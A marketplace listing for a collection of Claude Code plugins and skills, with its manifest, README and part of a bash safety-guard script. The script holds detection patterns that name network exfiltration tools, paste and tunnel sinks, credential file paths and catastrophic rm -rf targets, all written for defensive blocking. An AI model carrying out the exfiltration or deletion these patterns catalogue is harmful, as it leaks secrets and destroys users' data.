Skip to content
Back to search

ccc

MarketplaceWorks with Claude CodeGitHubIncomplete

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today
Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/ooiyeefei--ccc/badge.svg)](/listings/ooiyeefei--ccc)

HTML

<a href="/listings/ooiyeefei--ccc"><img src="/api/listings/ooiyeefei--ccc/badge.svg" alt="findsafeskills safety rating" /></a>

Install

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

# Add this repo as a marketplace
/plugin marketplace add ooiyeefei/ccc

# Install a plugin (e.g. deckling, which has the /deckling command)
/plugin install deckling@ccc

# Install Daily Chief, then invoke /daily-chief for its explicit Plan today workflow
/plugin install daily-chief@ccc

# Install the skills collection (excalidraw, streak, agentic-system-design,
# self-improving-systems, htmldrop, landing-page-gtm, uat-testing,
# cross-app-shared-auth, google-analytics-setup, meta-pixel-setup, scribe)
/plugin install ccc-skills@ccc

---

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

.claude-plugin/marketplace.json · Manifest · 70 lines
  1. {
  2. "name": "ccc",
  3. "owner": {
  4. "name": "ooiyeefei",
  5. "email": "ooiyeefei@users.noreply.github.com"
  6. },
  7. "metadata": {
  8. "description": "Custom Claude Code plugins and skills",
  9. "version": "2.0.0"
  10. },
  11. "plugins": [
  12. {
  13. "name": "bash-safety-guard",
  14. "description": "Fail-closed PreToolUse bash guard: blocks destructive prod-data operations, credential exfiltration, and catastrophic rm -rf before they run — even under --dangerously-skip-permissions. Non-bash tools untouched.",
  15. "source": "./plugins/bash-safety-guard"
  16. },
  17. {
  18. "name": "deckling",
  19. "description": "Generate professional PPTX presentations using Anthropic Platform Skills API",
  20. "source": "./plugins/deckling"
  21. },
  22. {
  23. "name": "mvp-launch",
  24. "description": "Web app MVP launch readiness checker. Analyzes existing codebases against a battle-tested 10-point checklist (Stripe, mobile, onboarding, AI stability, emails, logging, feedback, auth, domain, database) via /launch-check.",
  25. "source": "./plugins/mvp-launch"
  26. },
  27. {
  28. "name": "product-management",
  29. "description": "AI-native product management for startups with WINNING filter, gap analysis, competitor research, and GitHub Issues integration",
  30. "source": "./plugins/product-management"
  31. },
  32. {
  33. "name": "rethink-surveys",
  34. "description": "Survey design framework grounded in Caroline Jarrett, Dillman, and Tourangeau methods. Captures real intent (past behavior, not hypotheticals) via multimodal flows (text/voice/AI-interviewer). Includes 3 use-case templates (event organizers, startup founders, gig workers) and commands for design, critique, and app-scaffold generation.",
  35. "source": "./plugins/rethink-surveys"
  36. },
  37. {
  38. "name": "daily-chief",
  39. "description": "Daily Chief Plan today workflow with browser device login, a local visual preview, and explicit remote apply.",
  40. "source": "./plugins/daily-chief"
  41. },
  42. {
  43. "name": "ccc-skills",
  44. "description": "Collection of skills and commands: Excalidraw diagrams, Streak challenge tracker, agentic system design, self-improving systems, htmldrop HTML sharing, landing page GTM, UAT testing, cross-app shared auth, Google Analytics (GA4) setup, Meta Pixel setup, project showcase catalog",
  45. "source": "./",
  46. "strict": false,
  47. "skills": [
  48. "./skills/excalidraw",
  49. "./skills/streak",
  50. "./skills/agentic-system-design",
  51. "./skills/self-improving-systems",
  52. "./skills/htmldrop",
  53. "./skills/landing-page-gtm",
  54. "./skills/uat-testing",
  55. "./skills/cross-app-shared-auth",
  56. "./skills/google-analytics-setup",
  57. "./skills/meta-pixel-setup"
  58. ],
  59. "commands": [
  60. "./commands/streak.md",
  61. "./commands/streak-new.md",
  62. "./commands/streak-list.md",
  63. "./commands/streak-switch.md",
  64. "./commands/streak-stats.md",
  65. "./commands/streak-insights.md"
  66. ],
  67. "version": "2.0.0"
  68. }
  69. ]
  70. }
README.md · README · 432 lines
  1. # Claude Code Custom Plugins & Skills
  2. Custom plugins and skills for [Claude Code](https://github.com/anthropics/claude-code).
  3. ## Available
  4. | Name | Type | Description | Install Command |
  5. |------|------|-------------|-----------------|
  6. | [bash-safety-guard](./plugins/bash-safety-guard) | Plugin (hook) | Fail-closed PreToolUse bash guard: blocks prod-data loss, credential exfiltration, and catastrophic `rm -rf` before they run — even under `--dangerously-skip-permissions` | `/plugin install bash-safety-guard@ccc` |
  7. | [deckling](./plugins/deckling) | Plugin | Generate PPTX presentations using Anthropic Platform Skills API | `/plugin install deckling@ccc` |
  8. | [daily-chief](./plugins/daily-chief) | Plugin + Pi package | User-invoked Plan today workflow with browser device login, local preview, and explicit remote apply | `/plugin install daily-chief@ccc` |
  9. | [mvp-launch](./plugins/mvp-launch) | Plugin | MVP launch readiness checker with `/launch-check` command | `/plugin install mvp-launch@ccc` |
  10. | [product-management](./plugins/product-management) | Plugin | AI-native PM: competitor research, gap analysis, WINNING prioritization | `/plugin install product-management@ccc` |
  11. | [rethink-surveys](./plugins/rethink-surveys) | Plugin | Survey design grounded in research methods (Jarrett, Dillman, Tourangeau) with design/critique/app-scaffold commands + bundled MCP server | `/plugin install rethink-surveys@ccc` |
  12. | [agentic-toolkit](./plugins/agentic-toolkit) | Reference package | Reusable TypeScript infrastructure for multi-model councils, sub-agent hierarchies, and provenance-tracked tool loops | Copy the source — see [README](./plugins/agentic-toolkit/README.md) |
  13. | [excalidraw](./skills/excalidraw) | Skill | Generate architecture diagrams as `.excalidraw` files with optional PNG/SVG export | `/plugin install ccc-skills@ccc` |
  14. | [streak](./skills/streak) | **Skill + Commands** | Universal challenge tracker with `/streak`, `/streak-new`, etc. | `/plugin install ccc-skills@ccc` |
  15. | [agentic-system-design](./skills/agentic-system-design) | Skill | 12-stage Q&A workflow for designing agentic pipelines, councils, and sub-agent hierarchies | `/plugin install ccc-skills@ccc` |
  16. | [self-improving-systems](./skills/self-improving-systems) | Skill | Decide whether your agent actually needs memory/feedback/learning — then design the smallest thing that pays for itself | `/plugin install ccc-skills@ccc` |
  17. | [htmldrop](./skills/htmldrop) | Skill | Publish HTML as shareable links (Surge.sh) with collaborative annotation + AI converge | `/plugin install ccc-skills@ccc` |
  18. | [landing-page-gtm](./skills/landing-page-gtm) | Skill | High-converting SaaS landing pages with GTM-aware copy and competitive positioning | `/plugin install ccc-skills@ccc` |
  19. | [uat-testing](./skills/uat-testing) | Skill | End-to-end UAT for web apps via Playwright: test case generation, execution, pass/fail reports | `/plugin install ccc-skills@ccc` |
  20. | [cross-app-shared-auth](./skills/cross-app-shared-auth) | Skill | Onboard apps into a platform with one shared login and a central accounts database: per-app opt-in access, deny-by-default, dual sign-up paths | `/plugin install ccc-skills@ccc` |
  21. | [google-analytics-setup](./skills/google-analytics-setup) | Skill | Set up GA4 on a website and wire a real conversion (form/signup/purchase) end to end — property/stream structure, tag install, event, Key Event, and DebugView verification before ad spend | `/plugin install ccc-skills@ccc` |
  22. | [meta-pixel-setup](./skills/meta-pixel-setup) | Skill | Set up the Meta (Facebook/Instagram) Pixel and a conversion event end to end — steers past the Conversions-API push and the sensitive-category trap, with Pixel Helper verification before ad spend | `/plugin install ccc-skills@ccc` |
  23. | [scribe](./skills/scribe) | Skill | Meeting recordings → notes with a chain of custody: pinned-language transcription across swappable STT backends (ElevenLabs/Deepgram/OpenAI/local), recording-gap detection, and confidence carried through so garbled audio never becomes a confident fact | `/plugin install ccc-skills@ccc` |
  24. The pitch and video skills (pitch-package, pitch-craft, pitch-deck, demo-video, motion-video) were retired from this collection on 12 November 2026.
  25. ---
  26. ## Installation
  27. ```bash
  28. # Add this repo as a marketplace
  29. /plugin marketplace add ooiyeefei/ccc
  30. # Install a plugin (e.g. deckling, which has the /deckling command)
  31. /plugin install deckling@ccc
  32. # Install Daily Chief, then invoke /daily-chief for its explicit Plan today workflow
  33. /plugin install daily-chief@ccc
  34. # Install the skills collection (excalidraw, streak, agentic-system-design,
  35. # self-improving-systems, htmldrop, landing-page-gtm, uat-testing,
  36. # cross-app-shared-auth, google-analytics-setup, meta-pixel-setup, scribe)
  37. /plugin install ccc-skills@ccc
  38. ```
  39. ---
  40. # Plugins
  41. ## Plugin: Deckling
  42. Generate and refine PowerPoint presentations using Anthropic's Platform Skills API.
  43. ```bash
  44. /deckling "Quarterly Review - 3 slides"
  45. /deckling "Change title to 'Q4 Results'" --refine quarterly.pptx
  46. ```
  47. See [plugins/deckling/README.md](./plugins/deckling/README.md) for full documentation.
  48. ---
  49. ## Plugin: MVP Launch
  50. Analyze web app codebases against a battle-tested 10-point MVP launch checklist. Based on "Realistic MVP Launch Checklist (from building 30+ apps)".
  51. ```bash
  52. /launch-check
  53. ```
  54. **The 10-Point Checklist:**
  55. 1. Stripe Setup (webhooks, trials, failed payments)
  56. 2. Mobile-First Design (real device testing)
  57. 3. Smooth Onboarding (minimal steps, fast first win)
  58. 4. AI & Automation Stability (retries, error handling)
  59. 5. Critical Emails (welcome, trial-ending, failed payment)
  60. 6. Error Logging (catch bugs before users)
  61. 7. User Feedback Loop (simple form or tool)
  62. 8. Auth & Roles (secure pages, basic roles)
  63. 9. Custom Domain with SSL (no dev URLs)
  64. 10. Real Database & Backups (automated backups)
  65. **Philosophy:** "Don't overbuild. Just make it stable, usable, and something people can trust."
  66. See [plugins/mvp-launch/README.md](./plugins/mvp-launch/README.md) for full documentation.
  67. ---
  68. ## Plugin: Product Management
  69. AI-native product management for startups. Process signals, not features.
  70. **After installing, just ask Claude Code:**
  71. ```
  72. "Analyze my product"
  73. "Research competitors"
  74. "Find feature gaps we should build"
  75. "What should we build next?"
  76. ```
  77. ### Key Commands
  78. ```bash
  79. /pm analyze # Deep product understanding
  80. /pm landscape # Market overview + competitors
  81. /pm gaps # Batch gap analysis with WINNING scores
  82. /pm file # Create GitHub Issues for top priorities
  83. /pm roadmap # Organize into Now/Next/Later
  84. ```
  85. ### WINNING Filter
  86. Prioritize with objective scoring: `WINNING = Pain × Timing × Execution`
  87. - **40-60**: FILE (high conviction)
  88. - **25-39**: WAIT (monitor)
  89. - **0-24**: SKIP (not worth it)
  90. ### spec-kit Integration
  91. This skill handles **WHAT to build** (product discovery). For **HOW to build**, use [spec-kit](https://github.com/github/spec-kit):
  92. ```
  93. /pm file → GitHub Issue → /speckit.specify → /speckit.plan → /speckit.implement
  94. ```
  95. The GitHub Issue IS the handoff—no extra command needed.
  96. See [plugins/product-management/README.md](./plugins/product-management/README.md) for full documentation.
  97. ---
  98. ## Plugin: Rethink Surveys
  99. Survey design framework grounded in proven research methods — Caroline Jarrett's *Surveys That Work*, Dillman's Tailored Design, and Tourangeau's cognitive model. Captures what people are actually trying to do (past behavior, not hypotheticals) without leading questions, satisficing bait, or shallow Likert noise.
  100. ```bash
  101. /design-survey # Interactive design session for a new survey
  102. /critique-survey # Jarrett-style critique of an existing survey
  103. /turn-into-app # Turn a finalized design into a working app scaffold
  104. ```
  105. **Features:**
  106. - 4-part hybrid structure: discovery / diagnostic / intent / segmentation
  107. - Question library with behavioral anchors
  108. - Three battle-tested templates: event organizers, startup founders, gig-economy workers
  109. - Text, voice, and AI-interviewer modalities
  110. - Bundles the `rethink-survey` MCP server for designing, critiquing, scoring, and clustering survey responses
  111. See [plugins/rethink-surveys](./plugins/rethink-surveys) for full documentation.
  112. ---
  113. ## Plugin: Agentic Toolkit (Reference Package)
  114. Reusable TypeScript infrastructure for building agentic systems with multi-model councils, hierarchical sub-agents, and provenance-tracked tool loops. Lifted from production code and hardened with depth caps and required provenance.
  115. This is a **reference package to copy from**, not an installable command plugin — the point is to save a week of plumbing per new agentic project.
  116. **The five components:**
  117. 1. **Gateway adapter** — one provider seam for Claude / GPT / Gemini behind a unified endpoint (TokenRouter, OpenRouter, LiteLLM, Vercel AI Gateway)
  118. 2. **Models registry** — typed role → `{ model, knobs }` bindings, with per-model quirks in one place
  119. 3. **Sub-agent runner** — depth cap, per-parent spawn cap, wall-clock timeout, typed results
  120. 4. **Events** — typed `AgentSseEvent` union for streaming agent progress
  121. 5. **Provenance** — required `_source` tagging so cached vs. live generations are never ambiguous
  122. Pairs well with the [agentic-system-design](./skills/agentic-system-design) skill: design the system with the skill, build it with the toolkit.
  123. See [plugins/agentic-toolkit/README.md](./plugins/agentic-toolkit/README.md) for full documentation.
  124. ---
  125. # Skills
  126. ## Skill: Scribe
  127. Turn meeting recordings into notes where every number and name traces back to audio the model actually heard clearly.
  128. **After installing ccc-skills, just ask Claude Code:**
  129. ```
  130. "Summarize the recordings in ~/meetings/2026-08-04/"
  131. "Transcribe this call and give me notes"
  132. "This auto-generated summary looks off - check it against the audio"
  133. ```
  134. **Why it exists:** a summariser cannot hear. Hand it a garbled span and it launders
  135. the noise into a clean fact - "some paying customer" decoded as "it's up to 8,000
  136. glass" becomes "~8,000 users" in the summary, and nothing downstream can tell that
  137. from a real figure.
  138. **What it does differently:**
  139. - Pins the language before transcribing, so code-switched speech (Manglish,
  140. Singlish, Hinglish) doesn't decode into fluent *wrong-language* text
  141. - Detects recording gaps - a recorder stopped mid-meeting drops content silently,
  142. and the notes that follow read as complete
  143. - Flags numbers and proper nouns sitting on low-confidence audio, using a
  144. percentile bar relative to each recording rather than a fixed cutoff
  145. - Carries that uncertainty into the notes instead of letting it get tidied away
  146. **Swappable backends, bring your own key:** ElevenLabs (default), Deepgram, any
  147. OpenAI-compatible gateway (Groq, LiteLLM, OpenRouter), or fully local via
  148. faster-whisper with nothing uploaded. No credentials are bundled.
  149. See [skills/scribe/README.md](./skills/scribe/README.md) for the quick start and a worked example.
  150. See [skills/scribe/SKILL.md](./skills/scribe/SKILL.md) for the workflow.
  151. ---
  152. ## Skill: Excalidraw Generator
  153. Generate architecture diagrams from any codebase as `.excalidraw` files, with optional PNG and SVG export.
  154. **After installing ccc-skills, just ask Claude Code:**
  155. ```
  156. "Generate an architecture diagram for this project"
  157. "Create an excalidraw diagram of the system"
  158. "Visualize this codebase as an excalidraw file"
  159. "Export this diagram to PNG"
  160. ```
  161. **Features:**
  162. - Analyzes any codebase (Node.js, Python, Java, Go, etc.)
  163. - No prerequisites - works without existing diagrams or Terraform
  164. - Proper 90-degree elbow arrows (not curved)
  165. - Color-coded components by type (database, API, storage, etc.)
  166. - Dynamic IDs and labels based on discovered components
  167. - PNG/SVG export via Playwright and `@excalidraw/utils` (no manual upload needed)
  168. See [skills/excalidraw/README.md](./skills/excalidraw/README.md) for quick start guide.
  169. See [skills/excalidraw/SKILL.md](./skills/excalidraw/SKILL.md) for full documentation.
  170. ---
  171. ## Skill: Streak - Challenge Tracker
  172. Universal challenge tracker with flexible cadence, intelligent insights, and cross-challenge learning detection.
  173. ### Slash Commands (Recommended)
  174. After installing ccc-skills, use these commands for **reliable, deterministic** triggering:
  175. ```bash
  176. /streak # Check in to active challenge
  177. /streak-new # Create a new challenge (guided)
  178. /streak-list # List all challenges
  179. /streak-switch NAME # Switch active challenge
  180. /streak-stats # View progress and achievements
  181. /streak-insights # Cross-challenge insights
  182. ```
  183. ### Natural Language (Alternative)
  184. You can also ask Claude Code naturally - it will invoke the skill when relevant:
  185. ```
  186. "Check in to my challenge"
  187. "Start a new streak"
  188. "Show my stats"
  189. ```
  190. ### Features
  191. - **Universal**: Works for any challenge type (learning, habits, building, fitness, creative, custom)
  192. - **Flexible Cadence**: Daily, weekly, or custom N-day intervals per challenge
  193. - **AI-Powered Insights**: Auto-detects compound learning and semantic connections
  194. - **Achievements**: Streak badges and milestone rewards
  195. - **Calendar Export**: Optional .ics file for calendar reminders
  196. - **Zero Config**: Works locally with no external dependencies
  197. ### Example Challenges
  198. - 30 Days of Coding
  199. - Read 12 Books This Year
  200. - Morning Meditation Habit
  201. - Daily Sketching Practice
  202. See [skills/streak/README.md](./skills/streak/README.md) for quick start guide.
  203. See [skills/streak/SKILL.md](./skills/streak/SKILL.md) for full documentation.
  204. ---
  205. ## Skill: Agentic System Design
  206. Prescriptive design partner for any agentic system: tool-loop agents, multi-model councils, sub-agent hierarchies, plan-execute pipelines, handoff networks. Walks you through a 12-stage Q&A flow — one question at a time — and emits a buildable design doc with citations.
  207. **After installing ccc-skills, just ask Claude Code:**
  208. ```
  209. "Design an agent that does HAZOP analysis"
  210. "Should I use a multi-model council for finance review?"
  211. "I want to build an AI brand strategist — orchestrator-worker or handoff?"
  212. "Real agency or workflow?"
  213. ```
  214. **Opinionated by design:** most "agent" requests are workflows; most "council" requests are wasteful; most depth-3 hierarchies are depth-2 with a tool that needed renaming. The skill filters ruthlessly *before* you start building — via an agent-washing rubric, council-decision test, and depth-3 sanity check.
  215. See [skills/agentic-system-design/README.md](./skills/agentic-system-design/README.md) for quick start guide.
  216. See [skills/agentic-system-design/SKILL.md](./skills/agentic-system-design/SKILL.md) for full documentation.
  217. ---
  218. ## Skill: Self-Improving Systems
  219. Decide whether your agent actually needs persistent memory, feedback loops, or closed-loop learning — then design the smallest thing that pays for itself.
  220. **After installing ccc-skills, just ask Claude Code:**
  221. ```
  222. "Add memory to my agent"
  223. "Make my marketing agent learn from past campaigns"
  224. "Should I use mem0 or Letta?"
  225. "Why does my agent keep making the same mistake?"
  226. ```
  227. **Headline message:** most agents shouldn't have persistent memory. Memory is a liability surface (drift, poisoning, debugging difficulty, GDPR/HIPAA exposure). The skill's first two stages exist to stop over-engineering — most users discover they want a state cache (or stateless RAG), not memory + learning. Default position: scratchpad-only with a stateless agent shipped first.
  228. See [skills/self-improving-systems/README.md](./skills/self-improving-systems/README.md) for quick start guide.
  229. See [skills/self-improving-systems/SKILL.md](./skills/self-improving-systems/SKILL.md) for full documentation.
  230. ---
  231. ## Skill: htmldrop
  232. Publish any HTML file as a shareable link instantly, with optional collaborative review. Wraps the [`htmldrop` CLI](https://www.npmjs.com/package/@yeefeiooi/htmldrop) — you just describe what you want in natural language.
  233. **Two modes:**
  234. 1. **Simple share** — public or password-protected link via free Surge.sh hosting
  235. 2. **Collaborative feedback + converge** — publish with an embedded annotation widget so reviewers highlight text and comment (no account needed), then pull the feedback and synthesize an improved version with AI
  236. **After installing ccc-skills, just ask Claude Code:**
  237. ```
  238. "Share this HTML report"
  239. "Publish this and let people comment on it"
  240. "What did reviewers say? Converge the feedback"
  241. ```
  242. **Prerequisites:** Node.js >= 18 and `npm install -g @yeefeiooi/htmldrop@latest`.
  243. See [skills/htmldrop/README.md](./skills/htmldrop/README.md) for quick start guide.
  244. See [skills/htmldrop/SKILL.md](./skills/htmldrop/SKILL.md) for full documentation.
  245. ---
  246. ## Skill: Landing Page GTM
  247. Build conversion-focused SaaS landing pages that sell — not just describe. Combines product research, competitive positioning, sales copywriting, and frontend implementation into a single workflow.
  248. **After installing ccc-skills, just ask Claude Code:**
  249. ```
  250. "Build a landing page for this product"
  251. "Rewrite the feature cards as sales copy"
  252. "Update the pricing page with competitive positioning"
  253. ```
  254. **Workflow:** researches the actual product first (never invents features), studies competitors, then writes GTM-aware copy and implements it in your existing design system.
  255. See [skills/landing-page-gtm/README.md](./skills/landing-page-gtm/README.md) for quick start guide.
  256. See [skills/landing-page-gtm/SKILL.md](./skills/landing-page-gtm/SKILL.md) for full documentation.
  257. ---
  258. ## Skill: UAT Testing
  259. End-to-end User Acceptance Testing for web applications: analyze → generate test cases → set up environment → execute → report.
  260. **After installing ccc-skills, just ask Claude Code:**
  261. ```
  262. "Run UAT on this branch"
  263. "Test this feature against the spec"
  264. "Generate test cases for my changes"
  265. ```
  266. **Features:**
  267. - Analyzes branch diff and specs to generate exhaustive test cases (happy path, errors, persistence, auth, responsive)
  268. - Sets up local dev server or targets staging/production
  269. - Executes tests via Playwright browser automation
  270. - Produces pass/fail results report with screenshots and fix documentation
  271. See [skills/uat-testing/README.md](./skills/uat-testing/README.md) for quick start guide.
  272. See [skills/uat-testing/SKILL.md](./skills/uat-testing/SKILL.md) for full documentation.
  273. ---
  274. ## Contributing
  275. We welcome contributions! CCC follows a **hybrid contribution model**:
  276. | Contribution Type | Process |
  277. |-------------------|---------|
  278. | Bug fixes | PRs welcome directly |
  279. | Documentation | PRs welcome directly |
  280. | New features | Open issue first for discussion |
  281. | New skills/plugins | Open issue first for discussion |
  282. **Quick start:**
  283. 1. Fork the repo
  284. 2. Create a branch
  285. 3. Make changes and test with Claude Code
  286. 4. Submit a PR
  287. See [CONTRIBUTING.md](./CONTRIBUTING.md) for detailed guidelines.
  288. ### Good First Issues
  289. Look for issues labeled `good first issue` - they're great for getting started!
  290. ---
  291. ## Support
  292. If you find CCC useful, consider supporting its development:
  293. <a href="https://buymeacoffee.com/afYkK7e"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" alt="Buy Me A Coffee" width="130"></a>
  294. ---
  295. ## License
  296. MIT
  297. ---
  298. ## Star History
  299. <a href="https://www.star-history.com/?repos=ooiyeefei%2Fccc&type=date&legend=top-left">
  300. <picture>
  301. <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/chart?repos=ooiyeefei/ccc&type=date&theme=dark&legend=top-left" />
  302. <source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/chart?repos=ooiyeefei/ccc&type=date&legend=top-left" />
  303. <img alt="Star History Chart" src="https://api.star-history.com/chart?repos=ooiyeefei/ccc&type=date&legend=top-left" />
  304. </picture>
  305. </a>
plugins/bash-safety-guard/lib/guards.ts · Bundled script · 292 lines · 2 findings marked
  1. /**
  2. * Shared guardrail heuristics.
  3. *
  4. * Two hard rules, enforced everywhere:
  5. * 1. Never accidentally delete / wipe PRODUCTION data. Any attempt must be
  6. * confirmed by a human first (fail CLOSED when no human is reachable).
  7. * 2. Never leak credentials off-box (exfiltrate secrets over the network or
  8. * commit secret files). Same confirm-or-block posture.
  9. *
  10. * These are intentionally conservative: false positives cost one confirm click,
  11. * false negatives can nuke prod or leak a deploy key.
  12. */
  13. export type GuardAction = "allow" | "confirm" | "block";
  14. export interface GuardVerdict {
  15. action: GuardAction;
  16. category?: "prod-data-loss" | "credential-leak";
  17. reason?: string;
  18. }
  19. const ALLOW: GuardVerdict = { action: "allow" };
  20. // --- production data-loss signals -----------------------------------------
  21. //
  22. // Design goal (2026-07): flag ONLY genuinely destructive PRODUCTION-data or
  23. // datastore operations. Everyday VCS churn (`git reset`, `git checkout`,
  24. // worktree cleanup), local dev, dev-server words like "live", grep/echo/commit
  25. // messages that merely contain SQL keywords, and read-only inspection commands
  26. // (`convex data`, `convex run <fn>`) must NOT trip the guard. Every false
  27. // positive in a sub-agent fails CLOSED (blocks) with no human to override, so
  28. // over-flagging directly stalls autonomous work.
  29. // "prod"/"production" only. "live" was dropped — it collides with live-server,
  30. // livereload, "live" log lines, etc., and caused most of the noise.
  31. const PROD_HINT = /\b(prod|production)\b/i;
  32. // A real datastore / cloud-data context. "prod + destructive verb" only counts
  33. // as prod-data-loss INSIDE one of these, so `git reset --hard`, `git checkout`,
  34. // worktree ops and shell cleanup no longer trip the rule.
  35. const DATASTORE_HINT =
  36. /\b(psql|mysql|mariadb|mongo|mongosh|redis|redis-cli|convex|prisma|drizzle|drizzle-kit|dynamodb|firestore|supabase|postgres|postgresql|pg_dump|pg_restore|pg_ctl|dropdb|createdb|cockroach|sqlcmd|bigquery|s3|s3api|gcs|gsutil|database|datastore)\b/i;
  37. // An actual SQL client EXECUTING a statement (not the keyword merely appearing
  38. // in a commit message, `echo`, `grep`, or a heredoc destined for a file).
  39. const SQL_EXEC =
  40. /\b(psql|mysql|mariadb|mongosh?|cockroach|sqlite3?|sqlcmd)\b|(^|\s)(-c|--command|-e|--execute|--eval)\s/i;
  41. /** Destructive SQL statements. */
  42. const DESTRUCTIVE_SQL =
  43. /\b(drop\s+(table|database|schema)|truncate\s+(table\s+)?[\w"`.]+|delete\s+from)\b/i;
  44. // Convex data-loss operations (this repo is Convex-backed). Narrowed so that
  45. // read-only `convex data <table>` and ordinary `convex run <fn>` / `convex dev`
  46. // / `convex deploy` no longer flag. We flag only:
  47. // - `convex import ... --replace` (overwrites table data — destructive in ANY env)
  48. // - a data-touching subcommand (import/run/env remove) aimed at --prod
  49. const CONVEX = /\bconvex\b/i;
  50. const CONVEX_IMPORT_REPLACE = /\bconvex\s+import\b[\s\S]*?--replace(-all)?\b/i;
  51. const CONVEX_PROD_FLAG = /(--prod\b|--deployment[= ]\S*prod)/i;
  52. const CONVEX_DATA_SUB = /\bconvex\s+(import|run|env\s+(remove|rm))\b/i;
  53. /** Other well-known "reset / wipe the database" incantations. */
  54. const KNOWN_WIPES = [
  55. /\bprisma\b[\s\S]*?\bmigrate\s+reset\b/i,
  56. /\bprisma\b[\s\S]*?\bdb\s+push\b[\s\S]*?(--force-reset|--accept-data-loss)/i,
  57. /\bdrizzle-kit\b[\s\S]*?\b(drop|reset)\b/i,
  58. /\bredis-cli\b[\s\S]*?\bflush(all|db)\b/i,
  59. /\bdropdb\b/i,
  60. /\baws\s+dynamodb\s+(delete-table|delete-item)\b/i,
  61. /\baws\s+s3(api)?\s+(rb|delete-bucket|delete-object)\b/i,
  62. /\baws\s+s3\s+rm\b[\s\S]*?--recursive/i,
  63. ];
  64. /** Destructive verbs — only dangerous when aimed at a prod datastore. */
  65. const DESTRUCTIVE_VERB =
  66. /\b(delete|drop|truncate|wipe|destroy|flush(all|db)?|reset|purge|delete-table|delete-item)\b/i;
  67. /** `rm -rf` aimed at DB/backup/dump dirs (not ordinary code/build cleanup). */
  68. const RM_RF_DATA =
  69. /\brm\s+(-[a-z]*r[a-z]*f|-[a-z]*f[a-z]*r|-rf|-fr)\b[\s\S]*?(backup|dump|\.sql\b|\bdatabase\b|\.convex\b|volume|pg_?data|mysql-?data|mongo-?data)/i;
  70. /**
  71. * Catastrophic `rm -rf` targets: root, home, or the current/parent tree wholesale.
  72. * These are separate from RM_RF_DATA because they're destructive regardless of
  73. * any datastore — `rm -rf /`, `rm -rf ~`, `rm -rf $HOME`, `rm -rf .` etc. We
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 86 on GitHub
  74. * still let ordinary cleanup through (`rm -rf node_modules dist .next`).
  75. */
  76. function hasRecursiveForce(tokens: string[]): boolean {
  77. let r = false;
  78. let f = false;
  79. for (const t of tokens) {
  80. if (t === "--recursive") r = true;
  81. else if (t === "--force") f = true;
  82. else if (/^-[a-zA-Z]+$/.test(t)) {
  83. if (/[rR]/.test(t)) r = true;
  84. if (/f/.test(t)) f = true;
  85. }
  86. }
  87. return r && f;
  88. }
  89. /** Is a single `rm` target catastrophic (root / home / cwd / parent / bare glob)? */
  90. function isCatastrophicTarget(target: string): boolean {
  91. const t = target.replace(/["']/g, "").replace(/\/+$/, "") || "/";
  92. if (t === "." || t === ".." || t === "~" || t === "*") return true;
  93. if (/^\$\{?HOME\}?$/.test(t)) return true;
  94. if (/^~\/?\*?$/.test(target.replace(/["']/g, ""))) return true;
  95. // root, or a top-level system dir, optionally globbed: / /* /etc /usr/*
  96. if (
  97. /^\/(\*)?$/.test(t) ||
  98. /^\/(bin|boot|dev|etc|home|lib|lib64|opt|proc|root|run|sbin|srv|sys|usr|var)(\/\*?)?$/.test(t)
  99. )
  100. return true;
  101. return false;
  102. }
  103. /** Scan every `rm` invocation in a command line for a catastrophic target. */
  104. function catastrophicRm(cmd: string): boolean {
  105. const segments = cmd.split(/(?:\|\||&&|[;&|\n])/);
  106. for (const seg of segments) {
  107. const tokens = seg.trim().split(/\s+/).filter(Boolean);
  108. let i = 0;
  109. while (i < tokens.length && (tokens[i] === "sudo" || tokens[i].includes("="))) i++;
  110. if (tokens[i] !== "rm") continue;
  111. const rest = tokens.slice(i + 1);
  112. if (!hasRecursiveForce(rest)) continue;
  113. const targets = rest.filter((t) => !t.startsWith("-"));
  114. // `rm -rf` with no explicit target is also suspicious; treat as catastrophic.
  115. if (targets.length === 0) return true;
  116. if (targets.some(isCatastrophicTarget)) return true;
  117. }
  118. return false;
  119. }
  120. // --- credential-leak signals ----------------------------------------------
  121. const SECRET_FILE =
  122. /(\.env(\.[\w.-]+)?\b|\.pem\b|\bid_rsa\b|\.aws\/credentials|\.ssh\/|credentials\.json|service[-_]?account[\w.-]*\.json|\.npmrc\b|\.pgpass\b|secret[s]?\.(json|ya?ml|txt))/i;
    • Dismissed after review: Reads a credential file in a script that also sends data over the network
    • Line 139 on GitHub
  123. const SECRET_ENV =
  124. /\$?\b([A-Z0-9_]*(SECRET|TOKEN|PASSWORD|PASSWD|API[_-]?KEY|PRIVATE[_-]?KEY|ACCESS[_-]?KEY|DEPLOY[_-]?KEY|CLERK[_-]?SECRET|CONVEX[_-]?DEPLOY|AWS[_-]?SECRET)[A-Z0-9_]*)\b/;
  125. /** Commands that push data off the local machine. */
  126. const NETWORK_EGRESS =
  127. /\b(curl|wget|nc\b|ncat|netcat|scp|sftp|ftp|rsync\s+[\s\S]*?@|http\s+post)\b/i;
  128. /** Paste / tunnel / webhook sinks people use to exfiltrate. */
  129. const EXFIL_SINK =
  130. /(transfer\.sh|pastebin|hastebin|ix\.io|0x0\.st|termbin|webhook\.site|requestbin|ngrok|pipedream|\.free\.beeceptor)/i;
  131. const GIT_ADD_COMMIT = /\bgit\s+(add|commit)\b/i;
  132. function stripComments(cmd: string): string {
  133. // keep it simple: collapse whitespace, we still match across the line
  134. return cmd.replace(/\r/g, " ");
  135. }
  136. /** Classify a shell command against both hard rules. */
  137. export function classifyCommand(rawCommand: string): GuardVerdict {
  138. const cmd = stripComments(rawCommand);
  139. if (!cmd.trim()) return ALLOW;
  140. // --- rule 1: production data loss ---
  141. if (CONVEX.test(cmd)) {
  142. if (CONVEX_IMPORT_REPLACE.test(cmd)) {
  143. return {
  144. action: "confirm",
  145. category: "prod-data-loss",
  146. reason: "`convex import --replace` overwrites existing table data. Confirm the target is not production.",
  147. };
  148. }
  149. if (CONVEX_PROD_FLAG.test(cmd) && CONVEX_DATA_SUB.test(cmd)) {
  150. return {
  151. action: "confirm",
  152. category: "prod-data-loss",
